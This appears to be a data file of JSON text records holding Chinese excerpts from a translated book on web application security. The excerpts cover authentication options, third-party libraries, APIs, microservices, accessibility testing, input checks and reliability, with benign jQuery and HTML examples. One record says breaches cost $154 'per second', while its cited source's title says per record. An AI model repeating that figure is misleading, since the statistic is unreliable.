    {"text": "图 2-4：cdnjs 网站提供了大量有用的库 你会发现 CDN 这一缩写在网络上随处可见。 CDN（content delivery network，内容分发网络）是提供各种类型网络内容的一系列服务。"},
    {"text": "所以，cdnjs 就是一个专门设计用来获取 JavaScript 代码并让它可为广大开发人员所用的 CDN，就像 Google CDN（ https://developers.google.com/speed/libraries/ ）所做的那样。"},
    {"text": "不幸的是，一次更新可能导致以下问题： 代码兼容性问题 安全漏洞 设置丢失 设备无法启动 数据损坏 解决这一问题的一种方法是将关闭自动更新作为应用程序安全策略的一部分。"},
    {"text": "坚持采用最佳开发实践的策略，在可能的时候使用标准库，将安全性保持在合理的级别，这些都有助于保证在用户设备发生隐蔽的更新后，应用程序还能够继续运行。"},
    {"text": "浅谈近场通信 技术上更有趣的发展之一是已为各种需求使用了近场通信（Near Field Communication，NFC）。 NFC 是主要用于产品的无线射频识别（radio frequency identification，RFID）技术的扩展。"},
    {"text": "NFC 是 RFID 的高频子集，前者提供了一些特别的特性，有助于你为应用程序创建安全解决方案，其中包括以下方面： 同一设备能同时作为发送者和电子标签 设备之间能安全地交换信息 能根据需要对设备再编程 设备包含智能与本地存储，这令其比 RFID 更灵活 NFC 提供了消除密码的可能。"},
    {"text": "符合这一标准的库、API 或微服务能提供必要的资源，以创建满足公司与用户需求的可靠应用程序，同时降低支持成本并让应用程序更易为用户所用。"},
    {"text": "因此，你仍然必须在应用程序代码里执行复杂规则，以强迫用户在涉及密码时采用比一般的弱密码更好的密码。 如果用户不得不使用一个复杂的密码，那么使用口令的做法就会变得更吸引人。"},
    {"text": "2.3.2 使用生物识别的方案 生物识别的解决方案依靠你作为人的某些唯一特征来生成密码。 生物识别的观点是，生物学密码对于一个特定的人是唯一的，其不易被偷走，用户不会丢失它，且密码足以复杂到黑客无法猜测（至少不容易）。"},
    {"text": "指纹 虹膜 声纹 这三种解决方案都有缺陷，黑客有攻克它们的方法，所以你可能要选择另一种生物识别方案或将其中一种与其他认证方式结合使用。"},
    {"text": "有趣的是，这一技术已经以 Facebook 的 Deepface（ https://research.facebook.com/publications/deepface-closing-the-gap-to-human-level-performance-in-face-verification/ ）的形式出现。"},
    {"text": "Facebook 最近称（ http://money.cnn.com/2014/04/04/technology/innovation/facebook-facial-recognition/ ）其能从正面或侧面进行扫描，这使得该方案比其他生物识别方案更灵活。"},
    {"text": "同一个 key 中可以包含访问多个应用程序的多个密码。 应用程序需要识别 key 中的密码，但该技术可以实现在不输入密码或任何其他信息的情况下登录应用程序。"},
    {"text": "Google 正在使用 USB key 方案（ https://www.technologyreview.com/s/510106/googles-alternative-to-the-password/ ），并且你会意识到其他厂家也会跟随这一做法。"},
    {"text": "与钥匙卡相比，USB key 有以下显著的优点： 不需要获取新的 USB key 就能更改密码 能包含多个密码 总体成本低于使用钥匙卡 可以升级各类凭据 当然，USB key 有许多与钥匙卡类似的缺点。"},
    {"text": "某个网站向用户发送短信、图片或声音以作为登录计算机的方式。 例如，Illiri（ http://www.illiri.com/ ）网站会发送一段声音到用户的智能手机上，用户只要将其播放给计算机就能登录。"},
    {"text": "用户期望在开发中被归为“如果有，会更好”的类别，但实现它们会提升应用程序的友好度，这会让用户略微愿意使用你添加到应用程序中的必需项目。 当然，有些用户会有不切实际的期望，比如期望有一个令他们在别人面前特别有魅力的应用程序，或者一个能帮他们完成所有工作的应用程序，这样他们就能整天玩纸牌和看电影。"},
    {"text": "从长远来看，你所做的任何让安全措施对最终用户不可见的行为，都会增大用户真正参与数据的安全管理的可能性，并且该策略会成功保证数据的安全。"},
    {"text": "根据《计算机世界》杂志最近的一篇文章（ http://www.computerworld.com/article/2926775/security0/data-breach-costs-now-average-154-per-record.html ），当今的数据泄露平均每秒会造成 154.00 美元的损失。"},
    {"text": "根据《卫报》网站（ http://www.theguardian.com/media-network/media-network-blog/2012/mar/19/attention-span-internet-consumer ）的一篇文章，你有一到五秒的时间去获取用户的注意力。"},
    {"text": "第三方解决方案需要作为你的安全计划的一部分，这样别人才会知道你头脑中已有一个方案。 此外，通过在安全计划中使用第三方解决方案，你可以包含各种相关信息并发起关于该方案的讨论。 本章将探讨你该如何将各种第三方解决方案添加到自己的安全计划中。 当然，在做任何事之前，你必须找到你想使用的第三方解决方案。"},
    {"text": "该杂志甚至会赞助某种形式的竞赛（ http://www.scmagazine.com/2014-sc-awards-us-finalists/section/3694/ ），以便你可以确定最可行的解决方案。"},
    {"text": "即使网站能公平地点评产品，采用你能检验的标准和你能验证的过程，一份点评仍然是某个人的观点，而你需要考虑作出点评的人是否掌握了足够的信息来为你提供你所需要的信息。"},
    {"text": "有些组织的网站还会告诉你将要发生的事件，你能从中获取关于潜在解决方案的额外信息，亲自与供应商见面，并发现你之前可能不知道的新技术。"},
    {"text": "例如，《麻省理工科技评论》的文章“Improving the Security of Cloud Computing”（ http://www.technologyreview.com/news/424298/improving-the-security-of-cloud-computing/ ）就讨论了可用来保持数据安全的技术。"},
    {"text": "在第一个方案中，你会读到来自加州大学圣地亚哥分校和麻省理工学院的计算机科学家是如何演示每个公司都需要有自己的虚拟服务器的（因此，Amazon 改变了其做事的方式）。"},
    {"text": "事实上，你很容易就能找到关于轻松破解云存储的故事，比如 Tech Times 杂志上的一篇文章“Cloud hacking isn't as hard as most would think”（ http://www.techtimes.com/articles/14800/20140903/cloud-hacking-isnt-hard-think.htm ）。"},
    {"text": "文章“Are my files really safe if I store them in the cloud?”（ http://computer.howstuffworks.com/cloud-computing/files-safe-in-the-cloud.htm ）会告诉你黑客能用多少种不同的方式来窃取你的数据，而且可以肯定的是黑客将想出更多的方式。"},
    {"text": "你能在开放访问目录（Open Access Directory，OAD， http://oad.simmons.edu/oadwiki/Data_repositories ）这样的网站上找到一大批开放的数据仓库，如图 3-2 所示。"},
    {"text": "传统的保持数据仓库安全的方法，比如依靠管理员给服务器打补丁或管理对其的访问，在这种情况下都不能奏效，因为维护的项目太容易遭受损害了。"},
    {"text": "由安全计算机系统小组提出的、被称为安全不可信数据仓库（Secure Untrusted Data Repository，SUNDR， https://www.yumpu.com/en/document/view/34269846/secure-untrusted-data-repository-sundr-usenix ）的一种新协议类型从客户端的角度着手解决这一问题。"},
    {"text": "这一系统工作的方式依赖在某个块服务器（block server）和某个一致性服务器（consistency server）上维护的日志，其采用的方法将难以（但绝不是不可能）被攻破。"},
    {"text": "图 3-2：开放的存取仓库为某些公司提供了很关键的信息 重要的是要记住，这些新技术将与现有技术携手合作，如数据库管理器提供的安全性。"},
    {"text": "过去，对于开发人员来说，这意味着不得不写大量的代码来解决与在这样的环境下访问数据相关的问题，同时还要写大量错误捕获代码以降低设置无法正常工作时用户的挫败感。"},
    {"text": "1 “Moving your Infrastructure to the Cloud: How to Maximize Benefits and Avoid Pitfalls”（ https://support.rackspace.com/white-paper/moving-your-infrastructure-to-the-cloud-how-to-maximize-benefits-and-avoid-pitfalls/ ）、“Cost Savings, Efficiencies Lead IT Pros to Cloud Computing”（ http://searchcloudcomputing.techtarget.com/feature/Cost-savings-efficiencies-lead-IT-pros-to-cloud-computing ）和“To find cloud cost savings, all you need is a little patience”（ http://searchcloudcomputing.techtarget.com/feature/To-find-cloud-cost-savings-all-you-need-is-a-little-patience ）这三篇文章更详细地分析了整个节省情况。"},
    {"text": "虽然许多公司都成功使用了文件共享服务，但要记住，VPN 通常会更安全，且你可能必须为某些存储需求选择一个 VPN 解决方案，虽然这会带来非常高的成本。"},
    {"text": "当今天大部分人都在考虑云端的文件共享时，你可以考虑 Dropbox（ https://www.dropbox.com/business ）这样的产品。 Dropbox 有一个 API（ https://www.dropbox.com/developers ），用户可用来为自己的应用程序创建接口。"},
    {"text": "当然，Dropbox 最近也占据过安全问题的新闻头条 2 ， PCWorld 上的一篇文章（ http://www.pcworld.com/article/2918524/software-productivity/how-to-make-dropbox-more-secure-without-spending-a-cent.html ）详细论述了解决这些问题的方案。 2 例如，请参阅“Dropbox drops the security notification ball, again”（ http://www.zdnet.com/article/dropbox-drops-the-security-notification-ball-again/ ）和“Wary of Privacy Issues? Ditch Dropbox and Avoid Google, Says Edward Snowden”（ http://www.newsweek.com/wary-privacy-issues-ditch-dropbox-and-avoid-google-says-edward-snowden-276956 ）。"},
    {"text": "图 3-3：使用 Dropbox API 可以轻松地将在线文件共享功能添加进你的应用 当为中小企业（small- to medium-sized business，SMB）创建文件共享方案时，你确实有很多可以尝试的解决方案。"},
    {"text": "Acronis Business（ http://www.acronis.com/en-us/business/overview/ ） Box（ https://www.box.com/ ） Carbonite Business（ http://www.carbonite.com/en/cloud-backup/business-solutions/workstation-plans/ ） Citrix ShareFile（ https://www.sharefile.com/ ） CrashPlan Pro（ http://www.code42.com/business/ ） Engnyte（ https://www.egnyte.com/ ） Google Drive（ http://www.google.com/drive/start/index.html ） Hightail（ https://www.hightail.com/ ，原先称为 YouSendIt） Microsoft OneDrive（ https://onedrive.live.com/about/en-us/ ） MozyPro（ http://mozy.com/product/mozy/business ） SpiderOak（ https://spideroak.com/ ） SugarSync for Business（ https://www.sugarsync.com/business ） SyncPlicity（ https://www.syncplicity.com/ ） 选择一个第三方文件共享方案可能非常困难。"},
    {"text": "有一些文件只出现在文件共享服务中，有一些除了云副本外还需要本地副本，还有一些只能出现在本地磁盘上，尽管其能通过文件共享服务访问。"},
    {"text": "但是，作为数据冗余的一部分，你需要确保数据安全地存储在每个采用单独的虚拟服务器的地方（某些类型的共享文件攻击依赖攻击者入侵目标服务器，而当文件共享服务依赖单独机器上的虚拟服务器时，这种攻击会变得更加困难）。"},
    {"text": "遗憾的是，保存在云端的设置也会让黑客很容易猜到应用程序的特性，进而可能入侵公司系统，所以你需要确保设置信息的存储都是经过加密的，并且是以这样的方式进行托管的，从而让任何漏洞变得明显。"},
    {"text": "通过制造一个安全漏洞，黑客就有可能入侵各种使用了已被其攻破的库、API 和微服务的应用程序。 同一个黑客能在各处进行破坏，这意味着黑客能选择入侵哪些网站及窃取什么数据。"},
    {"text": "第三方也会提供一些增强，让代码更快、更有效率或更安全。 当有新技术出现时，第三方会提供所需的更新，让你的应用程序以新的方式工作。 如果用户需要访问新的设备类型，第三方会创建使那种设备正常运行所需的代码。"},
    {"text": "JScrambler（ https://jscrambler.com/en/ ）和 JavaScript Obfuscator/Encoder（ http://www.danstools.com/javascript-obfuscate/ ）这样的产品可以让别人难以看到代码在做什么，但意志坚定的黑客仍然可以做到。"},
    {"text": "以下是一些外部库的例子： D3.js（ https://d3js.org/ ） Google Web Toolkit（GWT， http://www.gwtproject.org/ ） jQuery（ http://jquery.com/ ） jQuery Mobile（ http://jquerymobile.com/ ） jQuery UI（ http://jqueryui.com/ ） MooTools（ http://mootools.net/ ） PDF.js（ http://mozilla.github.io/pdf.js/ ） QUnit（ http://qunitjs.com/ ） SWFObject（ https://github.com/swfobject/swfobject ） YUI Library（ http://yuilibrary.com/ ） 3.3.2 访问API API 是你通过向一个中心位置发起请求来从自己的应用程序访问的代码。"},
    {"text": "API 以单独实体的形式存在，并且你是从自己的应用程序中对它发起请求。 重点是，API 与你的应用程序的其他代码完全隔离，所以你需要创建一个对 API 的引用并发起对 API 的请求。"},
    {"text": "你可以用 API 创建一个客户端 / 服务器类型的连接，同时也会带来这种连接所蕴含的所有安全问题。 一些 API 会加入安全的访问，以帮助确保黑客不能轻易利用某些漏洞来控制 API，或以作者意想不到的方式使用它。"},
    {"text": "以下是 API 的一些示例： AccuWeather（ http://www.programmableweb.com/api/accuweather ） Amazon（ https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html ） Box（ https://developers.box.com/ ） FaceBook（ https://developers.facebook.com/ ） Flicker（ https://www.flickr.com/services/developer/ ） Google（ https://developers.google.com/products/ ） Pinterest（ http://www.programmableweb.com/api/pinterest ） Salesforce（ http://www.salesforce.com/us/developer/docs/api/index.htm ） Twitter（ https://dev.twitter.com/overview/documentation ） WordPress（ http://codex.wordpress.org/WordPress_APIs ） YouTube（ https://developers.google.com/youtube/ ） 库与 API 的一个不同点是，大部分库可免费使用，但许多 API 需要支付一定费用才能使用。"},
    {"text": "在大多数情况下，你可以在足以满足测试目标的级别访问某个 API，但要想获取完整功能的 API，你必须获得一个密钥，这意味着你需要为所需的访问级别支付费用。"},
    {"text": "微服务是对 Web 服务、API 和库的混用，但是是以小型包的形式。 事实上，微服务具有以下这些你需要考虑的特性： 依赖一个小型的、单一目标的、基于服务的应用程序来创建一个具有完整功能的应用程序（每个单一目标的应用程序就是一个微服务） 用最合适的编程语言来完成任务 对于具体的微服务，用最高效的数据管理技术访问应用程序数据 在每个微服务之间开发轻量级的通信 依靠 REST 等协议来通信，所以管道是哑的，但微服务是智能的 采取分散式应用管理，分别监控每个微服务 根据需要选择各种微服务来搭建任意数量的成熟的应用程序（桌面端、移动浏览器、原生移动应用，甚至是 API） 使用微服务时，你需要考虑的问题与使用库和 API 时一样。 例如，微服务可能会作为你的应用程序代码的一部分，所以你需要考虑微服务如何与应用程序交互。"},
    {"text": "从安全的角度看，微服务实现的安全性会不同于库或 API。 每个微服务会基于自身的需求提供独立的安全性，而不是为整体使用一个网站中所有微服务的每个人或事提供单一的解决方案。 因此，微服务会提供更好的安全性，但这个安全也是不平衡且更难以处理的。"},
    {"text": "Akana（ http://www.akana.com/solutions/microservices ） Archivematica（ https://ww.archivematica.org/en/ ） Gilliam（ http://gilliam.github.io/ ） LSQ.io（ https://angel.co/lsq-io ） Seneca（ http://senecajs.org/ ） 因为微服务非常新，所以你会发现很多关于微服务由什么构成的讨论。"},
    {"text": "因此，Cloner（ https://www.npmjs.com/package/app-cloner-heroku ）这样的微服务就满足这一要求（305 LOC），但 Deploy Hooks（ https://devcenter.heroku.com/articles/deploy-hooks ）这样的微服务则不满足（1240 LOC）。"},
    {"text": "此外，由这些第三方提供的代码会接受非常多的审查，所以它们会比你自己写的代码更安全，而且，比起公司为自己写的代码，第三方提供的代码通常能更快地更新。"},
    {"text": "大部分情况下，当用户支持你时，你能得到最好的结果，这意味着你要努力创造一个用户欣赏的界面（让应用程序很易用，以至于所谓的应用程序已经从用户的视线里消失了）。"},
    {"text": "例如，图 4-1 所示的选项卡文档界面就是简洁界面的一个例子，其在一个时间点只处理 Tabs.html 文件中的一部分事情。 图 4-1：一个简洁的界面以用户能理解的方式聚焦于一个问题 这个界面非常简洁。"},
    {"text": "下面是这个例子的源代码： <!DOCTYPE html> <html> <head> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> <title>Using the Tabs Widget</title> <style> #Configuration { width: 90%; text-align: center; } #Configuration div { text-align: left; } </style> <script language=\"JavaScript\"> $(function() { $(\"#Configuration\").tabs(); }); </script> </head> <body> <h1>Using the Tabs Widget</h1> <form id=\"ConfigForm\" method=\"get\" action=\"Tabs.html\"> <div id=\"Configuration\"> <ul> <li><a href=\"#Tab1\">Foreground Color</a></li> <li><a href=\"#Tab2\">Background Color</a></li> <li><a href=\"#Tab3\">Options</a></li> </ul> <div id=\"Tab1\"> <input id=\"FGRed\" type=\"radio\" name=\"Foreground\" value=\"Red\" checked=\"checked\" /> <label for=\"FGRed\">Red</label><br /> <input id=\"FGOrange\" type=\"radio\" name=\"Foreground\" value=\"Orange\" /> <label for=\"FGOrange\">Orange</label><br /> <input id=\"FGGreen\" type=\"radio\" name=\"Foreground\" value=\"Green\" /> <label for=\"FGGreen\">Green</label><br /> <input id=\"FGBlue\" type=\"radio\" name=\"Foreground\" value=\"Blue\" /> <label for=\"FGBlue\">Blue</label> </div> <div id=\"Tab2\"> <input id=\"BGRed\" type=\"radio\" name=\"Background\" value=\"Red\" checked=\"checked\" /> <label for=\"BGRed\">Red</label><br /> <input id=\"BGOrange\" type=\"radio\" name=\"Background\" value=\"Orange\" /> <label for=\"BGOrange\">Orange</label><br /> <input id=\"BGGreen\" type=\"radio\" value=\"Green\" /> <label for=\"BGGreen\">Green</label><br /> <input id=\"BGBlue\" type=\"radio\" name=\"Background\" value=\"Blue\" /> <label for=\"BGBlue\">Blue</label> </div> <div id=\"Tab3\"> <input id=\"Sounds\" type=\"checkbox\" name=\"Sounds\" value=\"SpecialSounds\" /> <label for=\"Sounds\">Use Special Sounds</label><br /> <input id=\"Effects\" type=\"checkbox\" name=\"Effects\" value=\"SpecialEffects\" /> <label for=\"Effects\">Use Special Effects</label> </div> </div> <input id=\"ChangeConfig\" type=\"submit\" value=\"Change Configuration\" /> </form> </body> </html> 为了创建这一界面，你需要引入 jQuery（ https://jquery.com/ ）、jQuery UI 库，以及相关的 jQuery UI 样式表。"},
    {"text": "<!DOCTYPE html> <html> <head> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> <style> #MoveMe { border: solid; width: 200px; height: 5em; text-align: center; line-height: 5em; } </style> <script language=\"JavaScript\"> $(function() { $(\"#MoveMe\").draggable(); }); </script> <title>Creating a Draggable Element</title> </head> <body> <h1>Creating a Draggable Element</h1> <p id=\"MoveMe\"> Moveable Paragraph </p> </body> </html> 在这个例子中， MoveMe 段落（ <p> 元素）是移动目标。"},
    {"text": "4.1.3 提供辅助功能 创建一个即使是能力最差的用户都能很好地使用的环境，对于大部分开发人员来说是很难的，因为大部分开发人员甚至无法想象不能很好地使用计算机的情况。 开发人员支持的许多用户都是非常聪明的，他们只是不了解计算机或应用程序运行的方式，所以为他们提供各种各样的辅助功能是很重要的。"},
    {"text": "当浏览器不能展示图片时，它会用展示该描述。 此外，当某些有特殊需求的人看不到图片时，他们使用的辅助设施通常会用 alt 属性的文字来介绍该图片。 要点就是， alt 属性提供了对图片的描述并在需要的时候作为图片的替代品。"},
    {"text": "但是，这是一个需要考虑的重要问题，因为根据 Web Accessibility In Mind（WebAIM）的数据，大约 20% 访问网站的人会有某种特殊需求：视觉、听觉、运动技能或认知。"},
    {"text": "表4-1：可访问性测试网站 网站 URL 描述 Lynx http://www.delorie.com/web/lynxview.html 这是一个有 Linux、OS X 和 Windows 版本但只支持文本的浏览器。"},
    {"text": "在 http://lynx.browser.org/ 这个网站上可以学到更多关于该产品的信息 NIST Webmetrics Tool Suite http://zing.ncsl.nist.gov/webmet 来自国家标准与技术研究所（National Institute of Standards and Technology，NIST）的一组工具可以帮你测试网站的可用性和可访问性。"},
    {"text": "在这个网站上还有更多的工具，并且 NIST 会经常更新它们 Opera http://www.opera.com 与 Lynx 类似，这个浏览器能让你看到屏幕阅读器所看到的网站的样子。"},
    {"text": "Opera 在许多平台上都可使用，包括 Windows、OS X 和 Linux O'Reilly XML.com http://www.xml.com/pub/a/tools/ruwf/check.html 这个网站提供了一个 XML 语法检查器，也可以校验 XHTML。"},
    {"text": "大部分情况下，你会使用 W3C HTML Validation Service 来为网页做最终检查。 但是，该网站会执行中间阶段的快速检查并测试 XML W3C HTML Validation Service http://validator.w3.org 该网站会检查你的页面的 HTML 与万维网联盟（World Wide Web Consortium，W3C）的建议和标准的相符程度。"},
    {"text": "但是，确保代码正确是确保加入可访问性特征的良好的第一步 Web Design Group HTML Validator http://www.htmlhelp.com/tools/validator/ 这个网站会检查你的页面或计算机上的 HTML。"},
    {"text": "你可能还会发现，与 W3C HTML Validation Service 相比，该网站对其检查的页面没那么挑剔，它看起来似乎是输出一样的信息，但它可能不会提供关于网站的完整校验 WebAIM http://webaim.org 你可以在这个网站上找到各种有趣的工具来验证你的网站是否可访问。"},
    {"text": "Color Contrast Checker（ http://webaim.org/resources/contrastchecker/ ）这个工具可以帮助你验证那些有色觉障碍的人是否能真正看清你的网站 测试工具有助于验证开发团队在创建每个人都能使用的应用程序方面是否圆满完成了工作。"},
    {"text": "color 在大部分支持的浏览器里表现为一个按钮。 点击按钮会展示系统的颜色选择器。 当用户选择了一个新的颜色，该颜色会出现在按钮里，这样用户就能看到当前的选择。"},
    {"text": "url 输入控件是目前唯一一个在智能手机上提供特殊支持的控件（在其他电脑类型里没有发现）。 在某些智能手机上，浏览器会在感知到 url 输入控件时添加一个特殊的 .com 关键字。"},
    {"text": "<input id=\"NumberInput\" type=\"number\" min=1 max=5 value=1 /> 在这个例子中，用户会看到一个文本输入控件，但它包含一个上 / 下箭头控件，如图 4-3 所示。"},
    {"text": "4.3.1 实现标准的HTML控件 4.2 节介绍了控制用户选择的方式。 其中很多以 HTML 控件形式出现。 HTML 控件的优点是它们在大部分地方能自动工作。"},
    {"text": "也就是说，通过巧妙的编程技术，可以在各种各样的任务中使用 CSS。 其中一个就是用 HTML、CSS 和 JavaScript 的组合来创建各种类型的控件，重点在于 CSS。 换言之，你可以用 CSS 来创建控件，而不是依靠 HTML 或 JavaScript 来完成任务。 有可用的工具会有助于用 CSS 来创建控件。"},
    {"text": "一个可查找所需工具的地方是 Dynamic Drive（ http://www.dynamicdrive.com/ ）。 当你访问该网站时，会发现各种类型的工具，包括这个例子所关注的 Button Maker（ http://tools.dynamicdrive.com/button/ ）。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Testing a Micro Button</title> <style type=\"text/css\"> #MicroTest { border: none; background-color: transparent; } </style> </head> <body> <h1>Testing a Micro Button</h1> <button id=\"MicroTest\" onclick=\"alert('Clicked!')\"> <img src=\"MyButton.GIF\"> </button> </body> </html> 注意这段代码是如何使用 HTML 和 JavaScript 来支持的。"},
    {"text": "你可以在网页 http://blogs.msdn.com/b/raulga/archive/2007/01/04/dynamicsql-sql-injection.aspx 和 https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 上找到关于这种攻击的一些额外信息。"},
    {"text": "4.4.3 请求新的输入 黑客最喜欢利用的一个漏洞是寻求这样一些情况：应用程序会对第一次传递过来的输入数据进行严格的检查，但在随后的传递中会放松检查。"},
    {"text": "你需要质疑表单是否足够干净。 当你确定表单是干净的且你有恰当的校验时，你需要开始寻找这个问题的其他原因，比如黑客正在尝试不同的方法攻破应用程序。"},
    {"text": "理解速度、可靠性和安全性的关系后，你才有可能实现最大程度上的安全的应用程序，并且才有可能在三者都受到重视的环境中创建出运行良好的应用程序。"},
    {"text": "最终，另一家公司 Getco 收购了Knight Capital Group（ http://www.reuters.com/article/2012/12/19/us-knightcapital-getcoidUSBRE8BI0OF20121219 ），而这全都是因为一个软件的小错误。"},
    {"text": "你可以用可靠性来回答应用程序在特定环境下出现故障的可能性有多大。 可靠性还会告诉你应用环境什么时候会变化。 例如，当你添加了人员且应用程序的负载增加时，可靠性就可能会降低，除非你设计的应用程序能很好地进行扩展。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Performing a Range Check</title> <script language=\"javascript\"> function testValue() { value = document.getElementById(\"Data\").value; if (value == \"\") { alert(\"Please type a number!\"); return; } if ((value < 0) || (value > 5)) { alert(\"Value must be between 0 and 5!\"); } else { alert(\"Value = \" + value); } } </script> </head> <body> <h1>Performing a Range Check</h1> <input id=\"Data\" type=\"number\" value=\"0\" min=0 max=5 /><br /> <button id=\"Test\" onclick=\"testValue()\"> Test </button> </body> </html> 在这个例子中，在 <input> 标签上使用上下箭头的用户永远不会提供限定范围之外的数据（如图 5-1 所示）。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Performing a Range Check</title> <script language=\"javascript\"> function testValue() { inputObj = document.getElementById(\"Data\"); value = inputObj.value; if (value == \"\") { alert(\"Please type a number!\"); return; } if ((value < inputObj.getAttribute(\"min\")) || (value > inputObj.getAttribute(\"max\"))) { alert(\"Value must be between 0 and 5!\"); } else { alert(\"Value = \" + value); } } </script> </head> <body> <h1>Performing a Range Check</h1> <input id=\"Data\" type=\"number\" value=\"0\" min=0 max=5 /><br /> <button id=\"Test\" onclick=\"testValue()\"> Test </button> </body> </html> 基本的检查逻辑还与之前一样。"},
    {"text": "在一份由 InfoWorld 最近列出的 10 个最极端的黑客事件清单（ http://www.infoworld.com/article/2933868/hacking/10-extreme-hacks-to-be-truly-paranoid-about.html ）中，医疗设备的事故排在第 2 位。"},
    {"text": "毕竟，如果软件的目标是防止核反应堆出现危机，但软件却阻止输入能让反应堆免于出现危机的值，那软件的安全性就不再重要了，因为没有人会围绕该问题进行辩论。"},
    {"text": "处理这种情况的折中解决方案也是存在的，但它会增加软件的复杂度，并因此对可靠性造成更大影响。 此外，因为折中解决方案需要增加编码，所以应用程序的速度也会受到影响。"},
    {"text": "但是，在日常操作中包含各种类型的安全性检查并允许管理员重载以便在紧急时刻去除检查，用户就可以输入正确的值来挽救反应堆，但软件平时不会允许这样的输入。"},
    {"text": "计数键（越少越好） 允许应用程序在任何平台运行 确保应用程序总是可用的 将与任务无关的步骤数减少到 0 使问题的答案明显，或完全避免问题 5.2 开发团队协议 朝着创建一个可靠应用程序的目标所做的任何努力都必须考虑整个团队。"},
    {"text": "例如，在 1999 年，火星气候探测者号（Mars Climate Orbiter）在进入火星大气层时被烧毁，就是因为一组团队在使用软件时采用了公制单位而另一组却采用了英制单位（ http://www.wired.com/2010/11/1110mars-climate-observer-report/ ）。"},
    {"text": "更改技术 应用程序在你完工的那天就变得过时了。 事实上，有时应用程序在开发完成之前就已经过时了。 技术的变更不利于软件，使其变得不可靠。"},
    {"text": "实现这一目标的最好方式是，将应用程序做成是由很多可交互组件组成的，但它们也是独立的实体，这让你可以升级其中一个组件而无需升级整个系统。"},
    {"text": "开发团队所需的沟通应包括以下这些最佳实践［你可以在 Cyber Security and Information Systems Information Analysis Center 的网站（ https://sw.csiac.org/databases/url/key/2 ）上找到更多最佳实践、工具和资源］。"},
    {"text": "可靠性要求 开发一个应用程序但没有首先定义你想要什么，这就好比在没有蓝图的情况下建造房子。 就如同手里没有蓝图时你不会开始为造一个房子而挖地基一样，在没有首先明确可靠性和安全性在应用程序整体运行中的角色之前，你不会开始任何编码工作。"},
    {"text": "可靠的设计 正如在开始项目时要识别应用程序会面临的安全威胁一样，你还必须识别可靠性问题并提出解决方法。 设计过程必须包含如何处理可靠性问题的具体细节。"},
    {"text": "虽然很多公司意识到需要有安全性专家来帮忙解决安全性问题，但很少有公司意识到存在类似功能的可靠性专家，比如可靠性咨询服务（ http://www.reliasoft.com/consulting/ ）。"},
    {"text": "可靠性测试 测试代码以确保其真正达到可靠性目标是很重要的，这一目标是应用程序需求与设计方案的一部分。 可靠性测试会包含各种问题，比如当有负载时或失去对某一资源的访问时应用程序会如何响应。"},
    {"text": "大部分软件代码似乎并没有从这个角度探讨该主题，但像任何其他东西一样，软件有故障模式，且可以通过分析这些模式创建出一张能让你预期软件在什么时候会出故障的蓝图。"},
    {"text": "因为软件要在不同的公司中运行，而不同的公司很少有完全相同的运行环境，所以试图创建出一个能在各家公司工作的应用程序的 MTBF 是不可行的。"},
    {"text": "一个应用程序的 MTBF 越高，支持它所花费的时间就越少，维护成本也越低。 此外，高 MTBF 值也预示着由软件故障所导致的数据泄露也会更少。"},
    {"text": "应用程序的故障不只是因为软件 bug 才会出现，还会由于错误的用法、环境问题（比如内存不够）、不可重现的原因（比如宇宙射线导致的能量峰值）以及其他原因而出现。"},
    {"text": "你可以在文章“Cosmic rays and computers”（ http://www.nature.com/news/1998/980730/full/news980730-7.html ）、“Effect of cosmic rays on computer memories”（ http://www.ncbi.nlm.nih.gov/pubmed/17820742 ）和“Should Every Computer Chip Have a Cosmic Ray Detector?”（ http://www.newscientist.com/blog/technology/2008/03/do-we-need-cosmic-ray-alerts-for.html ）中发现更多关于这一有趣影响的信息。"},
    {"text": "如果你让应用程序持续运行，这一过程不会经常发生，但大部分基于 Web 的应用程序是在客户端系统中运行，这意味着客户端需要在每一次启动应用程序时去下载库。"},
    {"text": "<head> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> 如果该例子三个文件中的任何一个缺失了，应用程序都不能运行。"},
    {"text": "一个折中的方案是将库代码下载到本地，持续跟踪库的更新，并为应用程序安排更新的时间，以便让你所使用的主要库与所需的安全及特性更新保持一致。"},
    {"text": "这些代码并不在客户端系统中运行，而是在服务器上以一种进程外（out-of-process，OOP）的远程过程调用（remote procedure call，RPC）方式执行的。"},
    {"text": "创建一个与 API 的连接跟创建一个与库的连接非常类似，只是你通常必须提供某种类型的密钥来获得访问，如 GoogleAPI.html 文件中所示的那样（可在第 7 章中看到该例子的更多细节）。"},
    {"text": "<head> <script type=\"text/javascript\" src=\"https://maps.googleapis.com/maps/api/js?key=Your Key Here&sensor=false\"> 这个查询要求客户端构建一个请求并发送给服务器。"},
    {"text": "// 这个函数会在屏幕上显示地图 function GetMap() { // 构建发送给Google的参数列表 var MapOptions = { center: new google.maps.LatLng( Latitude.spinner(\"value\"), Longitude.spinner(\"value\")), zoom: 8, mapTypeId: google.maps.MapTypeId.ROADMAP } // 向Google提供地图要在屏幕上展示的位置以及地图的参数项 var map = new google.maps.Map( document.getElementById(\"MapCanvas\"), MapOptions); }; 该代码的调用结果就是一幅地图会展示在客户端的画布上。"},
    {"text": "图 5-3：Google API 直接在客户端画布上画出地图 使用外部 API 或许可以使得在用别人代码时有较少的安全问题和速度问题（取决于请求数据是否比下载代码快）。"},
    {"text": "当应用程序检测到调用花费的时间比平时长，它就有可能给出一些反馈，比如告诉用户连接比较慢、联系管理员或以某些其他方式对问题作出反应。"},
    {"text": "区别框架和库 虽然框架［比如Dojo（ https://dojotoolkit.org/ ）］和库（比如 jQuery）看起来很相似，并且你以大致相同的方式使用它们，但 Dojo 是一个框架而 jQuery 是一个库。"},
